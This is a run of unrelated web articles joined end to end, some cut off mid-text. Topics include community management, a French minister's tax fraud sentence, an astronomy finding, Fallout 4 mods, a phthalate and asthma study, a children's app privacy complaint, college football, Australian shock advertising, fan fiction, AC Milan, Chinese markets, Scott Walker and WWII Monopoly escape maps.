Flexibility in the workplace is key for a successful community manager. The work this professional does will often extend beyond creating conversations with a brand's audience on social media networks. For many, this means carrying the responsibilities of multiple jobs.
"Adaptability is important because the community manager wears a lot of hats," Kerpen said. "On any given day, they have to be a marketer, a PR person and then a communications guy who has to react to a story."
7. Level-headed attitude
It's the Internet. There are going to be situations, often on a daily basis, when a member of the community attacks the brand. As the community manager, it is vital that your response alleviates the situation; not intensifies it.
"The problem is you've got the keys to the brand's voice," Adobe's King said. " Anything you say on behalf of the brand can and will be held against you, and can be inferred as the brand's perspective. You have to have a cool head and remember that the audience is attacking the brand, usually, not you."
8. Background in analytics
In each industry, the way a community manager handles social and site analytics may differ, but it's vital that this professional is educated about how communities are responding to engagement, and can determine what efforts are working and not working. "I hate when people say they can't measure the metrics of engagement," Google's Davidson said. "If you can't measure it, you aren't doing it right. Build tracking links, look at your website traffic, measure your reach and impressions. Have a goal and reach it."
HuffPost Live's McDonald said that he uses analytics to figure out what the community is not telling him anecdotally. "The community isn't always going to tell you what they want. They'll tell you one thing but then want another. You need to look at things to see if they're working because people aren't always going to tell you."
9. Ability to enable the community
One of the most important responsibilities of a community manager's job is not to continue to push the brand's message, but to empower the audience and give it a voice, said NBC News' Quintano. "If we're just talking about ourselves, eventually people will turn away," he noted. "The only reason we are successful is because of our audience. We want to try to reward them as much as possible."
At HuffPost Live, McDonald said the organization realized that roughly 70% of all comments on site were in response to other comments. "We wanted to turn those comments into the conversation [on HuffPost Live]," McDonald added. "We wanted to give the audience a voice on equal footing with our on-air guests."
10. Passion for the brand
In many ways, the community manager is the eyes and ears of a business or organization. But this professional also is responsible for being the voice of the company, and the audience wants to interact with someone who loves the brand as much as they do. For a community manager who just goes through the motions, he or she is not going to be successful and the company will ultimately suffer, Kerpen noted.
"Passion is really important," he said. "At the end of the day, you are the representative of that brand. You have to eat, sleep and breathe the brand."
Did we miss any other important qualities? Share your thoughts in the comments below.
Images courtesy of flickr, Scott Monty, Get Satisfaction and flickr, bluefountainmedia.Former French budget minister Jerome Cahuzac, who resigned in 2013 after he admitted to having a Swiss bank account, arrives to attend the verdict in his tax fraud trial at the courtroom in Paris, France, December 8, 2016. REUTERS/Philippe Wojazer
PARIS (Reuters) - A former minister who led a French government crackdown on tax evasion was sentenced to three years in jail on Thursday for hiding an offshore bank account of his own, in a scandal that deeply embarrassed President Francois Hollande.
A Paris court found Jerome Cahuzac, a cosmetic surgeon by trade who was made budget minister when Hollande won power in 2012, guilty of tax fraud and money laundering.
The 64-year-old, stonefaced, left the courthouse without commenting. His lawyer, Jean Veil, said he would lodge an appeal to seek a softer sentence. “Three years is too heavy,” he said.
The verdict marks the end of a saga that shocked France and shook Hollande, who promised as he took power that his government would be beyond reproach after years of corruption accusations that dogged his predecessors.
Cahuzac, who specialized in hair transplants and consultancy work for drugs companies before becoming a minister, resigned in disgrace in 2013 when he admitted having held an undeclared account over 20 years, first in Switzerland and later in Singapore.
Prior to that he had repeatedly denied the existence of such an account, once in particularly dramatic fashion in a declaration in the lower house of parliament.
After ultimately admitting he had lied, Cahuzac, now 64, was also expelled from the Socialist Party, of which he been a member since the 1970s.
Hollande, whose term ends in May 2017 and who said last week he would not seek a second one, at the time condemned what he called an unforgivable moral error.
Reyl bank of Geneva was also fined 1.875 million euros ($2.02 million) for its part in the affair.About 2,700 light-years away from Earth, an incredibly rare event is occurring: a white dwarf and brown dwarf are closely orbiting each other in less than an hour and a half.
The white dwarf, which scientists are calling WD 1202-024, was discovered in 2006. WD 1202 became a white dwarf about 50 million years ago when it ran out of usable hydrogen in its core. When a study showed WD 1202 consistently changing in brightness, astronomers assumed it was a variable star. While studying what caused the change in brightness, astronomers were surprised to find that it’s actually caused by a companion brown dwarf.
The pair is only separated by about 192,625 miles (310,000 kilometers), less than the distance between the Moon and Earth. The white dwarf’s gravity is so strong that it's pulled the brown dwarf into an orbit with a period of 71 minutes. That means the two objects zip around each other at speeds of 62 miles per second (100 km/s).
The brown dwarf, like all brown dwarfs, is too big to be considered a planet, but not big enough to sustain nuclear fusion. This brown dwarf is 67 times the mass of Jupiter and about the equivalent diameter. Because white dwarfs are small husks of former stars, WD 1202-024 is much smaller than its progenitor star. The more comparable sizes of these two objects are what cause noticeable brightness changes when the brown dwarf passes between the white dwarf and observers on Earth.
WD 1202 burns at a scorching 40,352° Fahrenheit (22,000° Celsius), making it bright enough to see, while the brown dwarf is too faint to be spotted without the help of its white dwarf companion.
Astronomers believe the brown dwarf was inside WD1202 about 50 million years ago when WD 1202 expanded to become a red giant, becoming bigger than the brown dwarf’s orbital distance and engulfing the entire brown dwarf. But the brown dwarf survived because the density of the gas in the red giant’s outer layers dropped while it expanded, saving the brown dwarf from becoming too hot.
Today, the brown dwarf is orbiting so closely to WD 1202 that it’s slowly getting drawn into its host star. Astronomers believe in about 250 million years the brown dwarf will get so close that the white dwarf’s gravity will draw material from the brown dwarf and eventually flare up as the material just above its surface explodes.
During this explosion, the entire system will flare brighter before cooling and dimming again, to repeat all over again in years to come.To state the obvious would be to say that Fallout 4 has proven to be launched in a buggy and incomplete state, with the latter largely referring to missing PC-specific features, such as Field of View and unlocking the framerate. It should then come as no surprise when the top mod on the Nexus (at time of writing) is an interface that allows people to conveniently edit the.ini file to enable various priceless featured. Let us sit together and have a look at how Bethesda’s incompetence is yet again being compensated by a myriad of skilled geniuses, and what madness has already been created by these masters of imagination in their Fallout 4 mods.
This Fallout 4 mod lets you skip the optional ini configuration minigame that came exclusive with the PC version …
Starting off with something useful right off the bat, Grasmann has created a somewhat bare-bones (but still impressive given the short time after Fallout 4‘s release) mod manager for managing.esp files and (un)installing mods. A pretty vital tool, so one would think that’s something Bethesda probably incorporated themselves …
And you would largely be right. Only they didn’t want you to find it. A faux-mod on the Nexus shows you where to click to open the Data menu. You need to click on a specific area in order to open it. Please do actually check out the page itself for additional information and instructions on making a small required.ini edit
Why, Bethesda? Tell me why!
But then we reach into the range of more ambitious projects. FPOP (Fallout for PC Overhaul Project) bundles together a number of already-available Fallout 4 mods (and plans to add more), making the installing process easier overall than installing the mods individually while offering a pack that apparently will improve the quality of the game. Bundle projects like these have always been quite popular with the games made by Bethesda Game Studios.
So too did Skyrim first know a rise in complete overhaul mods, a peak reached for those once installing mods had become increasingly user-friendly, largely through the efforts of the creators of intuitive and/or powerful mod managers, such as Nexus Mod Manager and Mod Organizer. So too can we expect overhauls to rise in popularity until Fallout 4 reaches a point where modding becomes accessible enough for people to not need overhauls in order to have complex mod builds of their own.
Another type of mod that you can’t stay away from are the retexture mods. A painful confrontation that many game developers still believe that the texture standard for PC is the same as those for consoles. Thankfully, we again have modders who spend their precious time retexturing the eyesores that inhabit Boston and its surroundings. The Pipboy gets a 4k treatment, while the Office furniture gets a new lick of wasteland paint. Even the moon already has it’s own improvement!
Or you could retexture the Chessboard like the tactics enthousiast you are
The real classics are the cheats. Modify your carry weight or use a batch file to smoothly give you all the junk with little hassle through console. But the joke mods are back as well, with John Cena himself (not really) celebrating whenever you level! Maybe a Fallout 4 mod that changes your Power Armor head lamp to a picture of the well-known PC Master Race face? Or Arnold SchwarzeDogmeat …
Or, well … this
And last but not least, a Fallout 4 mod that serves to improve performance for low end machines. The ULG (Ultra Low Graphics) mod reduces load for “old/weak desktops and most laptops” by means of decreasing quality and memory features that would strain the machine. The author says he has noticed a 5fps bump between normal Low and ULG’s Ultra Low. However, he laments that most of Fallout 4‘s graphics settings are hardcoded and impossible to change. Grass cannot be fully disabled and textures cannot be “skipped” like Skyrim could.
What has become painfully obvious is that our fears have yet again been proven justified. Fallout 4 is a mess, littered with issues that leave the modding community to fix or mend them, without proper modding tools as of yet! Bethesda will continue to do this as long as they can still get away with it, relying on the pre-order culture that is plaguing us all and knowing all their mistakes will be fixed without their effort. In truth, we are addicts, hungry for our next hit. Even if that hit is poorly fabricated and miles away from the strength and beauty it once seduced us with. We want it so bad, we’ll gladly offer our money beforehand and tell our dealer he can ship whatever tosh he wants—he already has his payday.
I want all of you who pre-ordered to stand up, introduce yourself and say “… I am an addict.“
Good, maybe we’ll learn yet.
Where do you stand? Do you see the pre-orderers as sheep, or are the benefits worth it to you? And why?
Share Have a tip for us? Awesome! Shoot us an email at [email protected] and we'll take a look!You won’t easily find the word “phthalate” on a label, but the group of sticky chemicals that help make plastic flexible (and help make fragrances “stick” to your hair, face, or skin) may have unintended health consequences, finds a new study published in Environmental Health Perspectives.
A research team from Columbia University followed a group of 300 moms and children in New York’s inner city for several years. Researchers compared the urine tests of the mothers’ during pregnancy—testing for concentrations of phthalates—to whether their children had asthma at ages 5-11.
“Virtually everyone in the U.S. is exposed to phthalates,” says study author Robin Whyatt, professor of environmental health sciences at Columbia’s Mailman School of Public Health. So in the absence of a true control, the researchers had to compare women with the lowest levels of exposure to women with the highest.
Children of women with higher levels of two types of phthalates—butylbenzyl phthalate (BBP) and di-n-butyl phthalate (DBP)—in their urine while pregnant had a 72% and 78% increase in the risk of asthma. And every single woman in the cohort had metabolites of both kinds of phthalates in their urine.
MORE: What Is A Phthalate?
Phthalates are everywhere, from school supplies and nail polish to designer denim. They lurk in plastic and home materials, and since they hold scent, they’re extremely popular in all kinds of personal care products. In the study, researchers found a strong association between phthalate concentration and perfume, as well as vinyl flooring. “They’re volatile, so they get into the air,” Whyatt says. “Our data indicates that inhalation is a significant route of exposure.” Fetuses seems to be especially at risk; since their lungs develop so rapidly, they’re more susceptible to environmental exposures, she says. And phthalates are endocrine disruptors, meaning they mess with the body’s natural hormone system, which Whyatt says are key to fetal development.
Studies have linked phthalates to early-onset eczema, hormonal imbalances and respiratory problems.
Eliminating your exposure altogether is impossible, and limiting it is difficult, Whyatt says. But she and her fellow researchers have adopted some phthalate-reducing recommendations, like storing food in glass containers instead of plastic, never microwaving food in plastic, avoiding air fresheners and all scented products (look for ‘fragrance” or “parfum” on the label), buying scent-free laundry detergent and dishwashing soap, and avoiding use of plastic with recycling codes #3 and #7 (you can tell by the number in the triangle).
“We feel we have a real burden, particularly to the women in our cohort,” Whyatt says, some of whom she’s been following for 16 years. But you can only cut down exposure so much. “Because they’re so widespread and in so many different products, addressing this is up to the regulators.”
Illustration by Heather Jones for TIME
Write to Mandy Oaklander at mandy.oaklander@time.com.Image caption Children's data is collected through apps without parents' consent or knowledge, says the CDD
A SpongeBob app became the latest game to be pulled following a complaint it had violated children's privacy rights.
Nickelodeon removed SpongeBob Diner Dash from Apple's iTunes app store after a US advocacy group contacted the Federal Trade Commission (FTC).
The Center for Digital Democracy said children's email addresses had been collected without parental consent.
Nickelodeon has denied the allegation that it breached children's online privacy rules.
Last week another children's app, Mobbles, was temporarily pulled after the CDD filed a similar complaint.
'Deceptive'
The Washington DC-based group urged the FTC to investigate Nickelodeon and mobile game-maker PlayFirst's privacy practices.
It said their "deceptive" mobile marketing technologies had violated the Children's Online Privacy Protection Act (COPPA).
"The SpongeBob Diner Dash game asks children to provide a wide range of personal information, including full name, email address, and other online contact information, without providing notice to parents or obtaining prior parental consent, as required by the Children's Online Privacy Protection Act," a statement said.
"Nor does the app provide an adequate description of the personal information it collects or how it is used".
The advocacy group said the app's use of technologies such as unique device identifiers (UDIDs) allowed companies to send customised messages to individual children in the form of "push notifications" that required online contact information - considered personal information under the COPPA rules.
The app is free to download, but is designed to encourage users to buy virtual "coins" that can be spent on items for SpongeBob like shoes or a frying pan, or to buy upgraded versions of the game.
Nickelodeon said that an initial investigation of the mobile app found that no names, email addresses or other personally identifiable information were collected.
"Therefore, we believe that no violation of COPPA occurred," it said in a statement.
Need for informed choices
Laura Moy, a lawyer at Georgetown Law's Institute for Public Representation, which prepared the complaint on behalf of the Center for Digitial Democracy (CDD), said: "It is disturbing to learn that a well known children's brand such as Nickelodeon is flouting basic privacy protections for children. Even more troubling, Nickelodeon tells parents that it complies with the law protecting children's privacy when it does not."
Last week the game Mobbles, in which children collect and care for virtual pets, was temporarily pulled from the Apple App store and Google Android Play store.
The FTC last week published a report on mobile apps for children that showed parents were not being provided with information about what data an app collected, who would have access to that data, and how it would be used.
The report said that nearly 60% of the apps examined by the FTC were transmitting information about a user to an advertiser or other third party.
FTC Chairman Jon Leibowitz said: "While we think most companies have the best intentions when it comes to protecting kids' privacy, we haven't seen any progress when it comes to making sure parents have the information they need to make informed choices about apps for their kids."
"In fact, our study shows that kids' apps siphon an alarming amount of information from mobile devices without disclosing this fact to parents," he added.
"All of the companies in the mobile app space, especially the gatekeepers of the app stores, need to do a better job. We'll do another survey in the future and we will expect to see improvement."In preparation for the Rutgers-Washington State matchup Saturday afternoon at High Point Solutions Stadium, I caught up with Scout.com's Braulio Perez, who has covered the Cougars since 2009 for Cougfan.com. Braulio also covers high school sports for NJ.com. Here's Braulio's take on the Cougars heading into Saturday's matchup.
Q: I asked in the summer if the fan base was getting restless after coach Mike Leach posted a 12-25 record in his first three seasons and you said yes. With that in mind, what's been the reaction to the loss to Portland State?
A. It's been very much what you would expect. The fan base is furious at Mike Leach and many are saying this is the beginning of the end for him at WSU. With that being said, people have calmed down since and are holding on to some hope for the rest of the season. There's no denying it was an embarrassing loss for the program. This is year four of the Mike Leach era and for the team to lose at home to Portland State was simply unacceptable.
Q: Why do you think Leach has struggled so much to get the program on track?
A. I think to start out, he didn't have the right guys for his system. Former coach Paul Wulff recruited a lot of Big Sky type players. No offense to them, but many of the guys Wulff brought in were not Pac-12 caliber. Leach needed a little bit of time to bring in the guys to fit his Air Raid. This included an overhaul on the offensive line. However, things should have been in motion by now. No one expected Leach to be 12-26 at WSU thus far. The fans expected WSU to be near the top of the Pac-12 by this time and not losing home games to Portland State.
Q: What went wrong in the 24-17 loss to Division 1-AA Portland State last week? How was the offense held to 17 points?
A. Don't want to fire up excuses, but the weather certainly had an effect on that. It was a monsoon in Pullman on Saturday, which affected the offense. That's on Leach, though. The running game looked solid in the first half, but in the second half, WSU was throwing the ball consistently. In my opinion, Leach should have never abandoned the run. In those conditions, you can't expect the passing game to get hot. Portland State ran the ball and they were effective. WSU should have been doing the same.
Q: What's the latest on quarterback Luke Falk's health? Is he expected to play on Saturday? Do you expect him to bounce back against Rutgers' inexperienced secondary?
A. On his weekly radio show Wednesday evening, Leach said that Falk will indeed start on Saturday. He was banged up in that Portland State game, but you'll never get Leach to comment on anything when it comes to injuries. I think he bounces back, no question. Again, the weather was atrocious for the Portland State game. With clear skies expected for the Rutgers game, I don't see how Falk doesn't explode offensively, especially with the inexperience in Rutgers' secondary.
Q: Washington State ran the ball 30 times last week. Do you expect them to run the ball more this season or was that an aberration?
A: Leach said prior to the season that they were going to run the ball a little bit more this year. I think that's smart because they've got three quality backs in Gerard Wicks, Jamal Morrow and Keith Harrington, who can run and catch the ball out of the backfield. I expect WSU to throw quite a bit vs. Rutgers, but don't be shocked to see them handing the ball off consistently as well.
Q: I have to sneak in one defense question... are there any signs that the defense will improve under new coordinator Alex Grinch? What scheme does Grinch employ?
A: Throughout fall camp, I heard quite a bit about how passionate and energetic the WSU defense was playing, but that wasn't shown on Saturday. When you give up more than 200 rushing yards to Portland State, you can't say the defense took a step forward. Grinch runs a 3-4 base, but honestly, it doesn't matter what the defense runs if they don't tackle. They struggled mightily bringing guys down vs. Portland State. If that's the case against RU, this one could be over in a hurry.
Q: What's your prediction?
A: There's a lot riding on the line in this one for Washington State. A loss means another 0-2 start to the year, which no one was expecting. Many thought WSU would open the season 3-0 with its schedule. Although it's a cross-country trip and the Cougs are coming off the embarrassing showing vs. Portland State, I think this team rallies and shocks the New Jersey faithful. Luke Falk will take advantage of RU's poor secondary and the Cougar defense will show up. I'm taking WSU to win by a score of 31-24.
Thanks to Braulio for taking the time. Check out his work at Cougfan.com and NJ.com, and follow him on Twitter.
Dan Duggan may be reached at dduggan@njadvancemedia.com. Follow him on Twitter @DDuggan21. Find NJ.com Rutgers Football on Facebook.Does your current job leave you unsatisfied in the severed limb department? Do you find there’s too little toxic fat in your work day? Are you good at making small children cry? If you’re nodding emphatically along then may I suggest either 1) getting help or 2) a career developing government-funded advertising.
Having watched the anti-smoking ads that are currently clogging up Aussie airwaves, I’m convinced that Australia produces some of the most gruesome social marketing in the world. If you’ve managed to avoid the campaign, which launched last month, then just imagine being buried alive. Picture the horror. Feeling squeamish? Then stop reading now, before the real suffering starts.
While other countries may dabble with grimagery and scary sloganeering, Australia’s public health messaging has a brash panache few markets can match. Paul Fishlock, an expert in the development of health-related social marketing campaigns (and my former boss), agrees: “There have certainly been some hard-hitting, gruesome campaigns done elsewhere, but on balance I don't think any country has done them as intensely and consistently as Australia.”
Take the “hard-hitting” anti-smoking ads that aired in England earlier this year, for example. These featured close-ups of a tumour oozing from a man’s cigarette, an unsightly mutation the Department of Health clearly hoped would traumatise the nation.
Indeed, one spokeswoman from the department told reporters it was expecting complaints from adults that the spot upset children. But despite all this hype, the shock value in the ad is mainly derived from the fact that a perfectly good tea break is ruined by a rogue cigarette. Even the miserable mise-en-scène falls flat. The overcast sky, the general atmosphere of dampened gloom: it’s all just terribly English.
Australia does distress messaging so well that several markets have taken to importing their public awareness campaigns from Oz. In 2009, for example, the New York City department of health used an ad from the Cancer Council Victoria which showed a scared little boy sobbing on a train platform.
“If this is how your child feels after losing you for a minute, just imagine if they lost you for life,” a voiceover intones. While the kid was an actor, his tears were apparently entirely genuine, causing some commentators to dub the spot “atrocious, offensive and irresponsible". In their defence, a spokeswoman from Cancer Council Victoria reassured people that they “didn't do anything dastardly” to make the child cry... raising the serious question: just how does the government define “dastardly"?
Smoking isn’t the only arena in which Australian advertisers pull out the shock stops. Victoria’s Transport Accident Commission (TAC) is something like the SAS of public advertising, seemingly operating under the motto "who dares to upset the most people, wins the most effectiveness awards". Indeed, a compilation of TAC road crash TV ads over 20 years has become a worldwide YouTube phenomenon. It makes great background viewing if you’re ever in the mood for slitting your wrists.
So is there a method behind all this sadness? Do gruesome images and aggressive yanking of the heartstrings actually get people to change their behaviour? The short and somewhat predictable answer is “that depends”. Fishlock says he looks at hard-hitting messaging not as “shock tactics but as truth tactics". He adds: "Fear is a very powerful motivator but there has to be personal relevance.”
In other words, there’s a big difference between ads that are eye-opening, and ads that prompt you to put your hands over you eyes. Overdo the gruesomeness or the emotional blackmail, and your messaging might backfire. Indeed, one study by the University of Western Australia found that a graphic ad campaign depicting, inter alia, young crystal meth users prostituting themselves and getting raped actually made teenagers four times more likely to approve of using the drug regularly.
While advertising might not yet have had much effect on meth highs, scare campaigns seem to be working when it comes to smoking. Australia has some of the lowest smoking rates in the world—around 16% down from 34% in 1980. While individual campaigns can't take all the credit for this decrease, they have certainly played some part. In any case, they’ve left an impression on me. I haven’t lived in Oz for some years now, but I still get the occasional nightmare with "Authorised by the Australian government, Canberra" tagged on at the end.A/N: Unfortunately, I've been rather ill recently (nothing too serious) and my thesis is proving to be very difficult. I hate making you guys wait, but I don't want to rush any of these chapters.
I originally intended for this chapter to end at a different point, but it ended up being too long. This is already the fic's longest chapter, I believe.
November 11
Elsa smiled, taking a deep sip of her tea as she allowed herself to contemplate the battle to come. The odds were heavily in favor of her servants, she knew, and a victory on their part would wipe out the last remaining resistance to her plans. The Goddess would have enjoyed taking part in the battle herself, but the preparations for the ritual still kept her confined within the walls of the Palace. Despite her desire to watch as the life left Anna's eyes, she was practical enough to leave the task to her servants. Evangeline would simply have to tell the Goddess the tale of Anna's last moments.
She was not arrogant enough to believe that there were no surprises in store for her Faithful. The trolls, as pathetic as they were, had spent centuries studying their variety of magic. If they proved to be more powerful than the Faithful expected, Anna and her allies could conceivably survive the onslaught.
And yet, thanks to her most hidden scheme, it didn't really matter. Only Evangeline knew of the truth, and Elsa was confident that the spymaster would refuse to reveal the information even under pain of death. The Goddess hoped that Evangeline and her minions would survive; they had certainly proven their worth. But even if they died, her plans would continue on unimpeded.
It wouldn't be long before she had accumulated enough power to enact her final ritual. It would be too much to say that there had been no complications; certain strands of magic within the ritual's power were slightly different than the Goddess had expected. Fortunately, this was no great surprise. The Goddess was unfamiliar with using such a weak and mortal body as a conduit for her power. The ritual was still set to encase every mortal on earth in a prison of ice, and it would be only the Goddess's mercy that could release them.
Even if her servants lost the coming battle utterly, the war would remain in her favor.
\
The Faithful rode quickly through the city. Many of Hammerfest's residents stared at the nine riders with no small amount |
events. We want to give something special to the fans. One of our aims is to increase our presence in the Middle East through our partnerships with our sponsors. That isn’t enough and there are no limits. We have 140 million fans in the world and only 22 million fans in China. There is a whole world waiting for us. Commercially speaking, we need to develop Casa Milan. Next week we’re heading to the United Arab Emirates. Direct contact is fundamental as well as retail. We’re looking to export this model in other cities across the world.
“In the United States of America we’re looking into a different kind of project, that also focuses on health and well-being through the Milan Lab in addition to football. There is a lot of business potential. In the next few months we will update you all. We need to alternate our revenue streams. 60% of our income comes from TV money. We need to balance the books. One way is to invest in commerce. We believe in Casa Milan. There will be time to evaluate the merits of this initiative.
“I’ve been going to the stadium since I was a little girl. I grew up there. I’ve received a lot of advice from my father. He speaks to me about tactics, but after a certain point, he speaks with CEO Galliani about tactics, which seems right to me! We’re on the back of some good years. 3 years ago, we won the Scudetto. Sport goes in cycles. In the past 30 years, we’ve been excellent. It’s not a year that will have a bearing on investors’ decisions. Milan’s value can’t be reduced to just one season. I’m sure that investors want to continue working with Milan. I’m optimistic about the future of this club.
“Juventus overtaking us? The stadium and the fans were key. As with regards to our thoughts about the balance between investing and revenues, I think we’re at a stage in which we want to push commercially. Our revenue is competitive. Over 80% of it is then reserved for the sporting side of the club. An increase in the club’s revenue is fundamental though in order to compete with the biggest clubs. We need to grow quickly,” added the Milan CEO and daughter of club owner Silvio.
“A new stadium? The stadium is vital. To make a step forwards, the construction of our own stadium is a priority. It’s complicated though in Italy. However, we’re evaluating various options. The Expo Area in Milan has been spoken about, but there are others. In the design of our stadium, we want to take a different route. We also have to take into account the large investment, which means that commercial aspects are of vital importance. We’re also focusing on the site of the stadium.
“In terms of time-scale, we’re ready to start the works. We’ve got a good plan of the new stadium project under the guide of architect Fabio Novembre, but we’ve still got to take care of other issues which are out of our hands. A sale? There been reports about a sale of the club, but it’s not true. We believe in this team. We want to obtain the best results. A partnership would be considered. For the construction of a new stadium for example, a partnership would be of great help.
“Our next visits to Asia and United States are with this aim in mind. My relationship with CEO Galliani is extremely good and we’ve found a new common understanding and vision. As for the fans, their role has to be respected. Everybody wants to see their team win. These delicate moments need to be dealt with and we’re working with them. I’m hoping that we can make peace again through our results. In the past 2 years we’ve dealt with the losses in a significant manner.
“We’ve always invested a lot in the club and we’ll continue to do so. However, a single commercial initiative isn’t enough to resolve this. Various initiatives will give renewed energy to Milan and Fininvest,” concluded the Vice President of Milan.SHANGHAI/BEIJING (Reuters) - Chinese stock markets took a wild ride on Wednesday, tumbling and soaring in a session that made little sense other than to highlight that investors have almost no faith in a month-long government effort to stabilize them.
An investor looks at an electronic board showing stock information at a brokerage house in Hangzhou, Zhejiang province, China August 18, 2015. REUTERS/China Daily
The Shanghai and Shenzhen markets fell 3 percent in morning trade, taking their losses to more than 8 percent since investors stampeded without warning on Tuesday.
But state-backed buyers later rushed in, enabling stocks to finish the day more than 1 percent higher.
It is a pattern that has been repeated several times since Beijing’s “national team”, a coalition of state-backed financial institutions and regulators, went into action early last month with instructions to halt a crash in share prices.
Investors say China’s stock markets - which were never for the faint of heart - have become dysfunctional since the government’s massive and unprecedented rescue effort.
Prices move sharply on speculation about the national team’s activities as investors focus on making quick trading profits by pre-empting its next move.
Late in the afternoon on Wednesday, a slew of companies announced state funds had bought stakes in them, which investors took as a sign that the government was signaling its continued support for the market. As of early evening, around 20 firms had made such announcements.
Long-term investors are staying well to the sidelines, moving their cash into bonds and the money market, as roller-coaster markets and a gloomy stream of economic news heighten their anxiety over the world’s second-largest economy.
“We advise strapping in for a bumpy ride,” said Tim Condon, head of Asia research for ING Bank in Singapore.
The Commerce Ministry added to that anxiety on Wednesday, saying exports could continue falling in coming months, after an 8.3 percent plunge in July, their biggest drop in four months.
The economy is already under threat of deflation and policymakers are struggling to revive bricks-and-mortar investment. Beijing’s official growth target is 7 percent for this year, but some economists estimate current levels are closer to half that.
Combined exports and imports for the first seven months of 2015 fell 7.2 percent from the same period last year, compared with Beijing’s full-year target of 6 percent growth.
“The possibility of exports to see year-on-year decline in some months could not be ruled out. But we will still see export growth for the whole year,” Commerce Ministry spokesman Shen Danyang told a regular monthly briefing.
“For the whole year, the foreign trade will face more severe situation than we expected.”
Only last month, the ministry predicted exports would improve in the second half of this year from the first half.
CENTRAL BANK INJECTS LIQUIDITY
The Shanghai market closed up 1.2 percent and Shenzhen jumped 2.2 percent. The benchmark CSI300 index.CSI300, comprising blue-chip stocks from both markets, rose 1.6 percent.
The rebound followed news the central bank would offer more medium-term funds to banks, in addition to a 120 billion yuan ($19 billion) injection of funds into money markets on Tuesday.
The central bank confirmed later in the day it lent 110 billion yuan of six-month cash to help maintain sufficient liquidity in the market.
Sources familiar with the medium-term funding plan said this would help offset the drain on liquidity caused by China’s unexpected devaluation of the yuan last week.
The prospect of further weakening has prompted investors to swap yuan into U.S. dollars.
Capital outflows from China are expected to increase as investors grow more pessimistic over the outlook for the currency and the economy, and calls are growing for the People’s Bank of China (PBOC) to roll out support measures more swiftly and aggressively to shore up growth.
Highlighting growing anxiety, money-market interest rates ticked higher on Wednesday, despite the fresh fund injections from the central bank. The weighted average benchmark seven-day repurchase agreement rate rose four basis points to 2.53 percent.
The PBOC devalued the currency on Aug. 11, within a few days of the poor July export data and other official figures showing factory-gate prices continued their three-year slide in July, touching a six-year low.
A week later, the central bank is still struggling to control the fallout. Though it insists the yuan has no reason to fall further, most economists believe there is political pressure to let it slowly slide, which will put more competitive pressure on China’s export-reliant Asian neighbors.
The yuan has fallen 3 percent against the dollar since the eve of the devaluation, but that marks only a partial reversal of its gains over the past 12 months, especially against currencies of major trading partners Japan and the euro zone.
Bank of America Merrill Lynch said on Wednesday the yuan could be allowed to depreciate to 6.5 to the dollar by the end of this year and 6.9 by end 2016, from around 6.40 now.
The devaluation last week triggered falls in other Asian currencies such as those of Australia, New Zealand, Indonesia, Singapore and Taiwan, fuelling fears of a currency war.
On Wednesday, Vietnam devalued the dong for the third time this year as authorities sought to support a languid export sector facing fresh challenges from the Chinese devaluation.If this is the best that the Chicago Tribune staff can come up with to preemptively attack Scott Walker’s potential presidential bid, he may be in better shape than I thought. Aaron Blake burns up a bit of ink to ponder whether the Walker campaign is doomed because, gosh darn it, the guy is just too Midwestern. (This is not an exaggeration. The actual title of the article is, “Is Scott Walker too Midwestern to be president?”)
Bloomberg declared this week: “If Wisconsin Governor Scott Walker runs for president, he should take a good hard look at the styling of another Midwestern governor, Tim Pawlenty, and what doomed that candidacy in 2012.” … Likening two candidates because of geography, of course, isn’t completely fair. But I subscribe to the idea that there is such a thing as being too Midwestern to be president. Candidates in this 24/7 media age quite simply need to be compelling. Call it the “charisma threshold.” As a fellow Minnesotan, when I saw Pawlenty telling corny jokes and looking exceedingly Midwestern milquetoast in the 2012 campaign, I wondered how he would excite anybody enough to assert himself as a front-runner. A president needs to be seen as forceful and decisive; as Garrison Keillor will point out, being upper-Midwestern is often antithetical to that.
This article makes two separate efforts to deflate the hopes of any potential Walker supporters. The first is a series of comparisons between Walker and Tim Pawlenty, who washed out of the 2012 race in record time. They may be from the same neck of the woods and share something of the same regional twang, but Walker only needs one quality to immediately and completely distinguish himself from T-Paw: he just needs to not be a quitter.
I maintain to this day that Pawlenty was the biggest disappointment of the race. He sat wringing his hands as a bunch of people at a state fair dropped slips of paper in pickle jars for a contest which correctly picks presidents about as often as three legged horses win the Preakness. And when he failed to beat Michele Bachmann, he packed his bags and quit. It was good that the voters found that out early, because you don’t want a quitter for your candidate, or for president. But if he had stuck around – even with almost no money in his campaign fund – he would have come out looking good. One Tea Party favorite after another flamed out and the only reason that Santorum was the last man standing was because he was the only “My Name Isn’t Mitt” candidate who refused to quit. Pawlenty had more juice than Santorum on the national scene and far fewer negatives. Had he still been standing strong after the rest were hounded out, he could have been the Not Romney candidate at the finish line. If Walker isn’t a quitter, he won’t have that problem.
The author’s other point is that these white, Midwestern guys are “too boring” and don’t bring the heat and excitement of a Ted Cruz. That may be true, but the more heat you bring, the more things around you tend to catch fire. America can handle a little boring if the underlying message and substance are strong. And just to clarify, are you saying that Romney was Mr. Excitement? The guy won the nomination.
The media is free to call Scott Walker “too boring” all they like. Somehow I don’t think that will bother him.Monopoly boards were used by fake charities during the second world war to send maps and messages to prison camps in Nazi-occupied Europe, writes Martin Hickes
That longtime product of Leeds, Monopoly, continues to be a perennial favourite – but during Britain's darkest hour, it was far from just a game.
A wartime plan hatched between the government and John Waddington's, who then manufactured the boards and players' tokens in Wakefield Road, Stourton, saw secret escape maps produced by the company for Allied prisoners of war.
In an especially cunning plan, Monopoly boards were used by fake charities to send the maps and related messages to prison camps in Nazi-occupied Europe. Equipped with the information, numbers of shot-down pilots and other captured servicemen managed to break out and some made their way to neutral countries and back home.
The system was set in place by MI9, a secret government department responsible for helping prisoners of war and liaising with resistance movements in continental Europe. Section Nine of the British Directorate of Military Intelligence in the War Office, to give it its full name, carried out trials of maps printed by Waddingtons on silk, rayon and tissue paper as early as 1940.
Hiding places included cigarette packets and the hollow heels of flying boots, where the flimsy maps did not rustle suspiciously and, in the case of those printed on cloth or mulberry leaf paper, could survive wear and tear and even immersion in water if an aircraft 'ditched' in the sea.
Debbie Hall, formerly of the British Library and now at the Bodleian Library in Oxford, has studied the secret history of the silk maps, and the involvement of the famous Yorkshire firm. She says:
In December 1939, MI9, the branch of the secret service responsible for escape and evasion, was set up. It was made clear that it was the duty of all those captured to escape if possible. One man who was behind many of MI9's most ingenious plans, including the Waddington project, was Christopher Clayton Hutton.
Stalag Luft III prisoner of war camp for captured airman; one of the destinations of Monopoly maps. Photograph: Hulton Archive/Getty Images
